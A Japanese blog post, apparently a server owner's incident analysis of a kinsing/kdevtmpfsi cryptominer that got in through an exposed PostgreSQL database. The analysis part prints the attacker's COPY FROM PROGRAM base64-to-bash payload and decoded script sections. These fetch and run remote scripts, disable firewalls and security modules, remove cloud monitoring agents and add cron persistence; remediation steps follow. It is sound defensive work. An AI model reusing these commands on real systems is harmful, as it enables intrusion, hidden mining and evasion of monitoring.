banner
zhxycn

zhxycn

email
github
follow

サーバーがマイニングランサムウェア kdevtmpfsi に侵入された復盤分析と解決策

文章原文:https://owo.cab/217 ,同期発表 xLog

異常発見#

11 月 8 日午後、ある仲間から特定のサービスに異常があると知らせを受け、バックエンドプログラムのエラーが PostgreSQL のクエリに関連していることが判明しました。CDN を使用し、HTTP サービスの監視アラートのみを設定していたため、最初の段階で異常アラートを受け取ることができませんでした。

SSH でサーバーに接続し、htopコマンドを使用して実行中のすべてのプロセスを確認したところ、/tmp/kdevtmpfsiプロセスが高いリソースを占有しており、実行ユーザーはpostgresでした。

プロセス

疑わしいプロセスを終了しようとしたところ、1 分以内に再起動することが判明し、定期的なタスクが設定されているか、デーモンプログラムが存在するのではないかと推測しました。

クラウドコンピューティングプラットフォームでリソース監視を確認したところ、このウイルスは UTC 11-7 16:15(北京時間 11-8 0:15)頃に実行を開始していました。

リソース監視

このウイルスがリソースを過剰に占有したため、サーバーのパフォーマンスが低下し、/tmpディレクトリに存在していたため、一時的にサーバーを再起動しました。

サーバーを再起動した後、PostgreSQL データベースに接続すると、すべてのデータが削除されており、侵入者がreadme_to_recoverという名前のデータベースを作成していました。その内容は以下の通りです。

readme_to_recover

明らかに、サーバーはランサムウェアの攻撃を受け、侵入者は PostgreSQL データベースに対して侵入行為を行い、サーバーのリソースを利用してマイニングを行い、サーバーの遅延とサービスのクラッシュを引き起こしました。

侵入者のウェブサイトはarchive.orgにアーカイブされており、リンクはhttps://web.archive.org/web/20251108155042/https://2info.win/psg/です。アクセスには注意してください。

サーバーが作成されてから侵入されるまでわずか 8 時間でしたが、幸いにもまだ展開段階であり、重要なデータはありませんでした(驚き)。

反省と分析#

このセクションに記載されているすべてのコマンドとスクリプトは実行しないでください。一部のデータはマスキングされています。

事故サーバーの状況を以下に示します:

  • Ubuntu 24.04 LTS、Oracle Cloud 上で実行
  • SSH キーのみのログインを許可
  • すべてのポートが開放
  • 宝塔パネルがインストールされ、PostgreSQL は宝塔でインストール
  • PostgreSQL はすべてのアドレスからのパスワード接続を許可し、PG のログイン設定ログが未設定

この事故の引き金が何であったかは明らかです(展開段階だったため、あまり注意を払っていませんでした。反省しています)。

プロセス#

ウイルスのバイナリファイルは再起動後に一時的に削除されており、ウイルスの侵入と動作方法を明らかにするために、サーバーに対して何の操作や強化を行わず、元の状態で運用し、ウイルスが再び現れるのを待ちました。

予想通り、11 月 9 日の 0:14 頃、サーバーの CPU 使用率が再び 100% に達しました。

/tmpディレクトリを確認すると、以下の 2 つのバイナリファイルが存在しました:

/tmp ディレクトリ

2 つのプログラムの所有者はどちらもpostgresであり、kdevtmpfsiの権限は700、作成時間は UTC 16:14;kinsingの権限は777、作成時間は UTC 16:11 で、kdevtmpfsiよりもわずかに早く作成されていました。

同時に、ウイルスのサンプルをダウンロードしました:

サンプル

ps -efコマンドを使用して 2 つのプロセスを検索しました:

プロセス情報

プロセス情報から見ると、kdevtmpfsiの実行時間が増加しており(06:25:29から06:26:17に変化)、kinsingの実行時間はしばらくの間ほぼ変わらず(00:00:04)であり、両者の PPID は1でした。

Linux に少しでも慣れている仲間なら、kdevtmpfsiが CPU 時間を持続的に占有していることがわかるでしょう。これはマイニングのメインプログラムです。一方、kinsingは CPU 時間をあまり占有せず、kdevtmpfsiのデーモンプログラムです。同時に、親プロセス ID が1であることは、両者の元の親プロセスがすでに終了し、孤児プロセスになり、systemdプロセスが引き継いでいることを示しています。

しかし、systemctlは無駄ではなく、直接sudo systemctl status <pid>を使用して起動チェーンを確認しました:

起動チェーン

なぜpostgresプロセスと一緒に起動したのか、もう一度確認します。

sudo crontab -u postgres -lコマンドを使用してpostgresユーザーの定期タスクを確認しました:

定期タスク

IP

この定期タスクは毎分実行されるように設定されており、wgetツールを使用してサイレントモード(-q)で標準出力にダウンロードし(-O -)、パイプ(|)を介してshに直接実行させ、スクリプトの実行出力とシステムメールを捨てる(> /dev/null 2>&1)ことで、実行情報を隠蔽しています。

syslogで関連プロセスの呼び出し記録を探しましたが、定期タスクに関連する記録しか見つかりませんでした。

呼び出し記録

しかし、私がその URL にアクセスしようとしたときに 502 エラーが発生し、一時的に諦めざるを得ませんでした。

侵入方法#

sudo last postgresコマンドを使用してpostgresユーザーのログイン状況を確認したところ、出力が空であり、postgresシステムユーザーの弱いパスワードを使用して侵入されたわけではないことがわかりました。同時に、postgresユーザーで実行されているサービスは PostgreSQL だけです。

可能性は 1 つだけです。

/www/server/pgsql/logsディレクトリから PostgreSQL の実行ログを見つけ、ログの中に異常を発見しました。

PG ログ 1

PG ログ 2

PG ログ 3

この不完全なログは、サーバーが侵入された過程を反映しており、侵入者の操作を 5 つのステップに分けることができます:

  1. サービス探査

    侵入者は自動ツールを設定し、特定の IP セグメントのサーバーポートに対してnmapツールを使用してスキャンを行い、5432ポートが開いているサーバーを探し、空の認証情報を使用して接続を試み、5432ポートで PostgreSQL が実行されていることを確認しました。

  2. 成功した侵入

    侵入者は弱いパスワード / 無パスワードをブルートフォース攻撃で成功させた後、存在しないデータベースbbbbbbbにアクセスしようとし、大量のSELECT VERSION();を実行してログインが完了したことを確認し、データベース情報を収集して脆弱性を探しました。

  3. データベースの破壊

    侵入者は最初にすべてのデータベースをリストアップし、次にinformation_schema.tablesを通じてテーブルを取得しました。各テーブルについて、最初にinformation_schema.columnsから列数を取得し、次にSELECT * FROM ... LIMIT 50を使用してテーブルデータを読み込み、読み込んだ後にDROP TABLE IF EXISTS ... CASCADEを使用してテーブル情報を完全に削除し、最終的に元のデータベースを削除してランサム情報を書き込みました。

  4. 権限昇格

    侵入者はpgg_superadminsというスーパーユーザーを作成し、その後ALTER USER postgres WITH NOSUPERUSERコマンドを試みてpostgresユーザーのスーパーユーザー権限を剥奪しようとしましたが、postgresがデータベースの初期化ユーザーであるため、ブロックされました。

  5. ウイルスの埋め込み

    PostgreSQL のCOPY ... FROM PROGRAMコマンドは、システムコマンドの出力をテーブルに読み込むことを許可するため、侵入者はこれを使用してスクリプトを実行しました。

    DROP TABLE IF EXISTS bwyeLzCF;
    CREATE TABLE bwyeLzCF(cmd_output text);
    COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash';
    SELECT * FROM bwyeLzCF;
    DROP TABLE IF EXISTS bwyeLzCF;
    

    侵入者は新たに作成したpgg_superadminsを使用して一時テーブルbwyeLzCFを作成し、テーブルにはcmd_outputという 1 つのtext型のフィールドのみがあり、スクリプトの出力を保持するために使用されました。echo ... | base64 -d | bashは Base64 でエンコードされたスクリプトをデコードして即座に実行し、実行が成功した後にテーブルbwyeLzCFを削除して痕跡を消しました。

コアスクリプトについて、Base64 をデコードした結果は以下の内容となります:

#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
  curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
  wget -q -O- .../pg.sh|bash
else
  __curl http://.../pg2.sh|bash
fi

このスクリプトは実行時に最初にpkillコマンドを使用して競合プログラムを終了し、その後スクリプトをダウンロードして実行します。侵入者はcurlwgetがない環境でも実行できるように、__curl関数内で直接 TCP プロトコルを介して HTTP リクエストを送信しています。

スクリプト分析#

このスクリプトは長くリスクがあるため、ここでは一部のセクションのみを分析します。

  1. 侵入準備

    # ファイアウォールを無効にする
    ufw disable
    iptables -F
    
    # rootユーザーのSSHキー属性を削除
    chattr -iae /root/.ssh/
    chattr -iae /root/.ssh/authorized_keys
    
    # 条件に合うプロセスを終了(ここでpostgresのoに注意)
    for filename in /proc/*; do
        ex=$(ls -latrh $filename 2> /dev/null|grep exe)
        if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
            result=$(echo "$filename" | sed "s/\/proc\///")
            kill -9 $result
            echo found $filename $result
        fi
    
        if echo $ex |grep -q "/usr/local/bin/postgres"; then
            cw=$(ls -latrh $filename 2> /dev/null|grep cwd)
                if echo $cw |grep -q "/tmp"; then
                          result=$(echo "$filename" | sed "s/\/proc\///")
                          kill -9 $result
                          echo foundp $filename $result
                  fi
    
        fi
    done
    
    # 特定の監視を解除
    if ps aux | grep -i '[a]liyun'; then
      curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
      curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
      pkill aliyun-service
      rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
      rm -rf /usr/local/aegis*
      systemctl stop aliyun.service
      systemctl disable aliyun.service
      service bcm-agent stop
      yum remove bcm-agent -y
      apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
      /usr/local/qcloud/stargate/admin/uninstall.sh
      /usr/local/qcloud/YunJing/uninst.sh
      /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    
    # カーネルハードウェア監視NMI Watchdogを無効にする
    sudo sysctl kernel.nmi_watchdog=0
    echo '0' >/proc/sys/kernel/nmi_watchdog
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
    
    # ネットワーク接続に基づいて条件に合うプロセスを終了(または他のマイニングプログラム)
    netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    pkill -f ...
    
    # 特徴プロセスに基づいて条件に合うプロセスを終了(または他のマイニングプログラム)
    ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 %
    pgrep -f ... | xargs -I % kill -9 %
    
    # 他のマイニングプログラムを削除
    rm -rf ...
    
    # Docker内の他のマイニングプログラムが存在するコンテナとイメージを削除
    docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill %
    docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f %
    
    # システムセキュリティメカニズムを無効にする
    setenforce 0
    echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor
    

    真陰啊.jpg

    スクリプトは最初にファイアウォールを無効にし、その後、発見されるのを防ぐためにクラウド監視ソフトウェアをアンインストールし、競合プログラムを削除してkdevtmpfsiとリソースを奪い合わないようにし、最終的に SELinux と AppArmor のセキュリティメカニズムを無効にします。

  2. マイニングプログラムの読み込み

    # 異なるアーキテクチャに応じて対応するプログラムをダウンロード
    BIN_MD5="b3039abf2ad5202f4a9363b418002351"
    BIN_DOWNLOAD_URL="http://.../kinsing"
    BIN_DOWNLOAD_URL2="http://.../kinsing"
    BIN_NAME="kinsing"
    
    arch=$(uname -i)
    if  [ $arch = aarch64 ]; then
        BIN_MD5="da753ebcfe793614129fc11890acedbc"
        BIN_DOWNLOAD_URL="http://.../kinsing_aarch64"
        BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64"
        echo "arm executed"
    fi
    

    ダウンロード前にアーキテクチャに応じたバイナリのダウンロード先を選択し、以下の優先順位に基づいてダウンロード先を決定しました(この部分のコードは省略されています):

    • /etc、このディレクトリは root 権限が必要
    • /tmp
    • /var/tmp
    • 一時ディレクトリmktemp -dを作成
    • /dev/shm
    # MD5をチェックするための関数
    checkExists() {
      CHECK_PATH=$1
      MD5=$2
      sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
      retval=""
      if [ "$MD5" = "$sum" ]; then
        echo >&2 "$CHECK_PATH is $MD5"
        retval="true"
      else
        echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
        retval="false"
      fi
      echo "$retval"
    }
    
    # ダウンロード用の関数
    download() {
      DOWNLOAD_PATH=$1
      DOWNLOAD_URL=$2
      if [ -L $DOWNLOAD_PATH ]
      then
        rm -rf $DOWNLOAD_PATH
      fi
      chmod 777 $DOWNLOAD_PATH
      $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
      chmod +x $DOWNLOAD_PATH
    }
    
    # ファイルが存在するかチェックし、存在しない場合はダウンロード
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
      echo "$BIN_FULL_PATH exists and checked"
    else
      echo "$BIN_FULL_PATH not exists"
      rm -rf $BIN_FULL_PATH
      download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
      binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
      if [ "$binExists" = "true" ]; then
        echo "$BIN_FULL_PATH after download exists and checked"
      else
        echo "$BIN_FULL_PATH after download not exists"
        download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
        binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
        if [ "$binExists" = "true" ]; then
          echo "$BIN_FULL_PATH after download2 exists and checked"
        else
          echo "$BIN_FULL_PATH after download2 not exists"
        fi
      fi
    fi
    
  3. 実行と永続化

    chmod 777 $BIN_FULL_PATH
    chmod +x $BIN_FULL_PATH
    SKL=pg $BIN_FULL_PATH
    
    crontab -l | sed '/#wget/d' | crontab -
    crontab -l | sed '/#curl/d' | crontab -
    crontab -l | grep -e "..." | grep -v grep
    if [ $? -eq 0 ]; then
      echo "cron good"
    else
      (
        crontab -l 2>/dev/null
        echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1"
      ) | crontab -
    fi
    

    まず、ターゲットバイナリファイル($BIN_FULL_PATH)に最高の権限を与え、実行可能にし、その後、定期タスクに毎分実行されるコマンドを追加して永続化を実現します。これは前述のpostgresユーザーに読み込まれた定期タスクです。

バイナリ分析#

プログラムの特徴#

Radare2 を使用してバイナリファイルの原始情報を確認した結果は以下の通りです:

バイナリファイル

特徴kdevtmpfsikinsing
アーキテクチャ(arch)ARM aarch64ARM aarch64
バイナリタイプ(bintype)ELFELF
サイズ(binsz)~2.4MB~6MB
開発言語(lang)CGo
静的リンク(static)はいはい
シンボルテーブル(stripped)剥離済み剥離済み
保護メカニズムNX 有効、RELRO なし、Canary なし同左

WinHex を使用してkdevtmpfsiファイルを確認すると、UPX の特徴が見つかります。

kdevtmpfsi

UPX で脱殻した後、再度確認すると、以下の内容が表示されました:

脱殻後

脱殻前とは異なり、以下の内容が表示されました:

compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial

kdevtmpfsi#

httpというキーワードを検索して迅速にモネロコインに関連する内容を特定しました:

[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4   5    .rodata           ascii   http
18398 0x003e30f0 0x007e30f0 83  84   .rodata           ascii     -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58  59   .rodata           ascii   no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19  20   .rodata           ascii   https proxy request
20114 0x003fa490 0x007fa490 12  13   .rodata           ascii   http request
23162 0x00414058 0x00814058 5   6    .rodata           ascii   https
25219 0x0042ed70 0x0082ed70 16  17   .rodata           ascii   parse_http_line1
25224 0x0042edf0 0x0082edf0 16  17   .rodata           ascii   %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105  .rodata           ascii   not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438  .rodata           ascii   GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121  .rodata           ascii   TLS generation counter wrapped!  Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n

次にmonero\|xmrを検索しました:

[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20  21   .rodata           ascii   cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20  21   .rodata           ascii   cryptonight-monerov8
18173 0x003e1547 0x007e1547 4   5    .rodata           ascii   lXMR
18174 0x003e1550 0x007e1550 6  7    .rodata           ascii   Monero
18187 0x003e1600 0x007e1600 27  28   .rodata           ascii   \e[43;1m\e[1;37m monero  \e[0m
18310 0x003e27e0 0x007e27e0 415 416  .rodata           ascii   \n{\n  "background": true,\n  "donate-level": 0,\n  "cpu": true,\n  "colors": false,\n  "opencl": false,\n  "pools": [\n    {\n      "coin": "monero",\n      "algo": null,\n      "url": "xmr-eu1.nanopool.org",\n      "user": "4...b",\n      "pass": "mine",\n      "tls": false,\n      "keepalive": true,\n      "nicehash": false\n    }\n  ]\n}\n
18315 0x003e2a08 0x007e2a08 5   6    .rodata           ascii   XMRig
18391 0x003e3030 0x007e3030 12  13   .rodata           ascii   XMRig 6.16.4
18396 0x003e3090 0x007e3090 33  34   .rodata           ascii   Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83  84   .rodata           ascii     -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72  73   .rodata           ascii         --donate-over-proxy=N     control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43  44   .rodata           ascii   XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34  35   .rodata           ascii   stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58  59   .rodata           ascii   no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20  21   .rodata           ascii   donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19  20   .rodata           ascii   donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5   6    .rodata           ascii   xmrig

このプログラムはxmr-eu1.nanopool.orgのマイニングプールに接続し、収益アドレスは4...bです。

kinsing#

次に、kinsingという Go 言語プログラムがどのようにプロセスの監視を実現しているかを見てみましょう。

IDA でkdevtmpfsiに関連する文字列を検索しましたが、関連する参照は見つかりませんでした。

関連の文字列

次に、コマンド実行に関連する関数を検索しました:

[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75    0x002a074c 0x002b074c 4    5    .rodata    ascii   Ppid
199   0x002a0a34 0x002b0a34 4    5    .rodata    ascii   kill
887   0x002a23d1 0x002b23d1 8    9    .rodata    ascii   \aos/exec
1086  0x002a2afa 0x002b2afa 8    9    .rodata    ascii   \aexecute
1608  0x002a3ef1 0x002b3ef1 10   11   .rodata    ascii   \t*exec.Cmd
2379  0x002a6201 0x002b6201 12   13   .rodata    ascii   \v*exec.Error
2873  0x002a7bf9 0x002b7bf9 13   14   .rodata    ascii   \fprocessFlags
3307  0x002a9902 0x002b9902 14   15   .rodata    ascii   Pid\njson:"pid"
3424  0x002aa07c 0x002ba07c 15   16   .rodata    ascii   *exec.ExitError
3523  0x002aa70f 0x002ba70f 15   16   .rodata    ascii   PpidWithContext
3675  0x002ab16c 0x002bb16c 16   17   .rodata    ascii   *process.Process
4588  0x002afaca 0x002bfaca 22   23   .rodata    ascii   *process.OpenFilesStat
4631  0x002afe42 0x002bfe42 22   23   .rodata    ascii   processCertsFromClient
4656  0x002b00b8 0x002c00b8 23   24   .rodata    ascii   *exec.prefixSuffixSaver
4680  0x002b0310 0x002c0310 23   24   .rodata    ascii   *process.MemoryInfoStat
4681  0x002b0329 0x002c0329 23   24   .rodata    ascii   *process.PageFaultsStat
4682  0x002b0342 0x002c0342 23   24   .rodata    ascii   *process.SignalInfoStat
4787  0x002b0d4e 0x002c0d4e 24   25   .rodata    ascii   processClientKeyExchange
4788  0x002b0d68 0x002c0d68 24   25   .rodata    ascii   processServerKeyExchange
4942  0x002b1d47 0x002c1d47 28   29   .rodata    ascii   \e*process.NumCtxSwitchesStat
5168  0x002b36f9 0x002c36f9 35   36   .rodata    ascii   "github.com/shirou/gopsutil/process
5233  0x002b4057 0x002c4057 22   23   .rodata    ascii   json:"pending_process"
5340  0x002b522a 0x002c522a 48   49   .rodata    ascii   /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...

その中でexec.Cmdは Go でコマンドを実行するための関数であり、github.com/shirou/gopsutilは Python のpsutilの Go 言語実装であり、システム情報を取得するために使用されるため、kinsingがシステムコマンドを実行する行動を持つ可能性があると判断しました。

うーん... 少し複雑になってしまいました。もっと簡単な方法がないか見てみましょう。

私はkinsing~/ディレクトリに置き、ubuntuユーザーでstraceを使用してkinsingとその子プロセスを追跡しました:

strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing

新しいターミナルでkdevtmpfsiを終了し、kinsingが再びそれを起動するのを待ちました:

pkill -f kdevtmpfsi

kdevtmpfsiが再び起動したときにstraceの追跡を終了し、ログでkinsingが実行した関連コマンドを探しました:

$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"

66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67160 kill(67125, SIGTERM)              = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>)             = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>)             = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM)              = -1 EPERM (Operation not permitted)
66877 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 57
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>)             = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>)             = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>)             = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++

この/tmp/kdevtmpfsi3355009150はどのように出現したのでしょうか。ログでhttp接続に関連する情報を探しました:

$ cat log.txt | grep -E "http"

67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39

この時点で、kinsingのロジックは明らかになりました。監視ロジックは 4 つの部分で構成されています:

  1. プロセスの監視readを使用してプロセス情報を読み取り、kdevtmpfsiが存在するかどうかを検出します。
  2. 既存のプロセスを終了sh -c "pkill -f kdevtmpfsi"コマンドを使用して、既存のkdevtmpfsiプロセスを終了しようとします。
  3. マイニングプログラムをダウンロードkdevtmpfsiが存在しない場合、前述の初期化スクリプトを実行してマイニングプログラムを/tmpディレクトリにダウンロードします。ここでkdevtmpfsiにランダムな数が付加されているのは、ディレクトリ内にすでに存在する読み書き不可の同名ファイルがあるためです。
  4. マイニングプログラムを起動sh -c "/tmp/kdevtmpfsiXXXX &"コマンドを使用して、マイニングプログラムをサイレントに起動します。

IDA に戻り、再度関連する検索を行ったところ、以前見逃していた/var/tmp/kdevtmpfsiという文字列がmain.minerRunningCheckで参照されていることがわかりました:

文字列の参照

main.minerRunningCheck関数は自己ループを持っており、この関数がプロセス監視の主要なロジックであることがほぼ確定しました。

この関数を展開して分析したところ、自己ループの他にmain.getMinerPidmain.isMinerRunningmain.minRunなどの関数が呼び出されていることがわかりました:

呼び出しチェーン

IDA

main.minRunの中で、straceログに現れた内容が見つかりました:

IDA

また、kinsingには内蔵のダウンロード実行ツールがあることも発見しました:

IDA

すべてが明らかになりました。

解決策#

削除されたデータベースは復元できず、バックアップから復元する必要があります。

侵入プロセスの復習に基づき、以下の解決策をまとめました:

実行前にシステムスナップショットを作成してください。

  1. 疑わしい定期タスクを削除

    二次感染を防ぐために定期タスクを一時的に無効にします:

    sudo systemctl stop cron
    sudo systemctl stop crond
    sudo service cron stop
    sudo service crond stop
    

    postgresユーザーの定期タスクを編集します:

    sudo crontab -u postgres -e
    

    その後、再度定期タスクを確認し、疑わしい項目が削除されていることを確認します:

    sudo crontab -u postgres -l
    
  2. ウイルスファイルの読み取り、書き込み、実行権限を取り消す

    sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing
    
  3. 該当プロセスを終了

    sudo pkill -9 -f kinsing
    sudo pkill -9 -f kdevtmpfsi
    
  4. ウイルスファイルを削除

    ファイル名にkinsingkdevtmpfsiを含むファイルを全ディスクで検索し、削除します。

    sudo find / -name "*kdevtmpfsi*" -delete
    sudo find / -name "*kinsing*" -delete
    
  5. 疑わしい PostgreSQL ユーザーを削除

    管理者ユーザーでデータベースにログインします:

    sudo psql -U postgres
    

    次に、以下の SQL 文を実行します:

    # pgg_superadminsが存在するか確認
    SELECT usename FROM pg_user WHERE usename='pgg_superadmins';
    
    # 権限を取り消す
    REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins;
    REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins;
    REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins;
    
    # ユーザーを削除
    REASSIGN OWNED BY pgg_superadmins TO postgres;
    DROP OWNED BY pgg_superadmins;
    DROP ROLE pgg_superadmins;
    
    # postgresにスーパーユーザー権限を付与
    ALTER USER postgres WITH SUPERUSER;
    
  6. サーバーを再起動

    sudo reboot
    
  7. 属性保護を復元

    sudo chattr +i /etc/passwd
    sudo chattr +i /etc/shadow
    sudo chattr +i /etc/group
